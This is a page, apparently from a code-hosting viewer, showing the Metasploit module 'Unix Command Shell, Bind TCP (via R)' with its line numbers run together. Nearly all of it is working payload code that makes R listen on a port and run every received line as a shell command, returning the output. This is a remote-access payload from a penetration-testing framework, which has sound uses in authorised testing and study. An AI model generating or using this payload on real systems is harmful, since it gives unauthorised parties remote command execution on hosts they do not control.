Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/bind_r.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 132910include Msf::Payload::Single11include Msf::Payload::R12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Unix Command Shell, Bind TCP (via R)',17'Description' => 'Continually listen for a connection and spawn a command shell via R',18'Author' => [ 'RageLtMan <rageltman[at]sempervictus>' ],19'License' => MSF_LICENSE,20'Platform' => 'unix',21'Arch' => ARCH_CMD,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'cmd',25'RequiredCmd' => 'R',26'Payload' => { 'Offsets' => {}, 'Payload' => '' }27))28register_advanced_options(29[30OptString.new('RPath', [true, 'The path to the R executable', 'R'])31]32)33end3435def generate(_opts = {})36return prepends(r_string)37end3839def prepends(r_string)40return "#{datastore['RPath']} -e \"#{r_string}\""41end4243def r_string44return "s<-socketConnection(port=#{datastore['LPORT']}," +45"blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines" +46"(pipe(readLines(s,1))),s)}"47end48end495051